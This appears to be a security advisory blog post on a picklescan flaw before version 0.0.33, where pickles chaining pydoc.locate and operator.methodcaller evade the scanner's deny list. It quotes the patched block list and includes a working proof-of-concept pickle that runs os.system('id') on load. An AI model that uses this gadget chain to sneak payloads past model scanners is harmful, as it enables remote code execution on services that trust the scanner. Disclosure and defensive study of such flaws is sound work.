Mar 1, 2026·6 min read·7 visits
Picklescan versions < 0.0.33 contain a critical bypass in their allowlist mechanism. By chaining `pydoc.locate` and `operator.methodcaller`, attackers can execute arbitrary code within a scanned pickle file, rendering the scanner ineffective. Users should upgrade to version 0.0.33 immediately.
A critical security bypass vulnerability exists in the `picklescan` library prior to version 0.0.33, allowing for arbitrary code execution. The library, designed to statically analyze Python pickle files for malicious content, utilized an incomplete blocklist of dangerous globals. Attackers can leverage the `pydoc.locate` function and `operator.methodcaller` class—both previously permitted—to dynamically resolve restricted modules (such as `os`) and execute commands. This effectively circumvents the security controls intended to prevent deserialization attacks.
Picklescan is a static analysis tool widely used in Machine Learning (ML) pipelines to inspect Python pickle files (and PyTorch models) for malicious code before loading them. The Python pickle format allows the execution of arbitrary code via the GLOBAL opcode, which imports and executes callables. Picklescan attempts to mitigate this risk by parsing the pickle bytecode stream and comparing referenced globals against a predefined list of safe and unsafe modules.
The vulnerability, identified as GHSA-84r2-jw7c-4r5q, represents a fundamental failure in this blocklisting strategy. While the scanner successfully blocked direct references to high-risk modules like os and subprocess, it failed to account for indirect resolution mechanisms available in the Python standard library. Specifically, the pydoc module—which was not fully blocked—provides the locate function, capable of importing arbitrary modules by string name.
This oversight allows an attacker to construct a "gadget chain"—a sequence of allowed function calls that ultimately results in the execution of forbidden code. By bypassing the static analysis, a malicious pickle file can pass as "safe" while containing a payload that executes immediately upon deserialization by a consumer trusting the scanner's verdict.
The root cause of this vulnerability lies in an incomplete denial list (CWE-184) within the picklescan.scanner module. The scanner operates by intercepting the GLOBAL opcode during the pickle parsing process. It checks the module and class names against a set of rules. If a module is not explicitly blocked, or if a specific function within a module is not flagged, the scanner permits it.
Prior to version 0.0.33, the scanner's configuration for the pydoc module was insufficiently restrictive. While it may have blocked specific sub-components, it did not block pydoc.locate. This function takes a string argument (e.g., "os" or "subprocess") and returns the corresponding Python object. This behavior effectively acts as a proxy for the import statement, which the scanner logic is designed to restrict.
Additionally, the scanner permitted operator.methodcaller. This class creates a callable object that, when invoked with an object as an argument, calls a specific method on that object. When combined, pydoc.locate allows the attacker to retrieve a reference to a restricted module (like os), and operator.methodcaller allows the attacker to execute a function on that module (like system), all without ever directly referencing os.system in the pickle stream in a way the scanner recognizes.
The vulnerability existed in how src/picklescan/scanner.py defined its _unsafe_globals dictionary. The fix required expanding this dictionary to capture the exploitation primitives and improving the logic for handling wildcard blocks on submodules.
Vulnerable Logic (Conceptual):
The scanner checked globals against a list. If pydoc was not wildcard-blocked (*), the scanner allowed access to functions not explicitly listed as unsafe. Since locate was missing from the unsafe set, it was permitted.
Patched Logic (Commit 70c1c6c):
The patch introduces comprehensive blocking for pydoc and specific operator functions. It also improves the recursive resolution of parent modules to ensure submodules of blocked packages are also caught.
# src/picklescan/scanner.py
_unsafe_globals = {
# ... existing rules ...
# PATCH: Explicitly block dangerous operator functions
"operator": {
"attrgetter",
"itemgetter",
"methodcaller", # <--- Previously allowed, now blocked
},
# PATCH: Wildcard block for the entire pydoc module
"pydoc": "*", # <--- Captures pydoc.locate
# PATCH: Additional hardening
"ctypes": "*",
"pty": "*",
}
# Improved wildcard logic for submodules
if unsafe_filter is None and "." in g.module:
module_parts = g.module.split(".")
# Iteratively check parents: a.b.c -> check a, then a.b
for i in range(1, len(module_parts)):
parent_module = ".".join(module_parts[:i])
if _unsafe_globals.get(parent_module) == "*":
unsafe_filter = "*"
breakThe key change is the wildcard assignment to pydoc. This ensures that any attempt to access pydoc.locate, pydoc.pipepager, or any other function in that namespace is immediately flagged as dangerous.
To exploit this vulnerability, an attacker must generate a pickle file that constructs a malicious object graph. The goal is to execute os.system('cmd') without the byte stream containing the literal string os in the module position of a GLOBAL opcode.
The Gadget Chain:
os: The attacker uses pydoc.locate('os'). This returns the os module object. The scanner sees GLOBAL 'pydoc' 'locate', which was allowed.operator.methodcaller('system', 'id'). This creates a callable object that, when called with an argument x, executes x.system('id'). The scanner sees GLOBAL 'operator' 'methodcaller', which was allowed.methodcaller object to the os module object retrieved in step 1.Proof of Concept:
import pickle
import pydoc
import operator
class Exploit:
def __reduce__(self):
# 1. Create a callable that runs .system('id') on its argument
exec_system = operator.methodcaller('system', 'id')
# 2. Resolve the 'os' module using pydoc.locate
# Note: pydoc.locate is the function, ('os',) are the args
resolve_os = (pydoc.locate, ('os',))
# 3. Apply exec_system to the result of resolve_os
return (exec_system, (resolve_os,))
payload = pickle.dumps(Exploit())
# When 'payload' is scanned by picklescan < 0.0.33, it passes.
# When loaded, it executes the 'id' command.This payload effectively creates a functional equivalent of a standard RCE pickle but obscures the imports in a way that the static analysis rules failed to detect.
The impact of this vulnerability is Critical (CVSS 9.3). picklescan is often deployed as a gatekeeper in environments that ingest untrusted machine learning models (e.g., Hugging Face Hub scanners, internal model repositories, or CI/CD pipelines).
Security Implications:
picklescan to filter user-submitted models would be operating under a false sense of security.Because the vulnerability requires no authentication and can be exploited remotely by simply uploading a file, the risk is acute for any public-facing service utilizing picklescan.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P| Product | Affected Versions | Fixed Version |
|---|---|---|
picklescan mmaitre314 | < 0.0.33 | 0.0.33 |
| Attribute | Detail |
|---|---|
| CWE | CWE-184 (Incomplete List of Disallowed Inputs) |
| CVSS v4.0 | 9.3 (Critical) |
| Attack Vector | Network |
| Privileges Required | None |
| User Interaction | None |
| Affected Component | scanner.py (Safe/Unsafe Globals Logic) |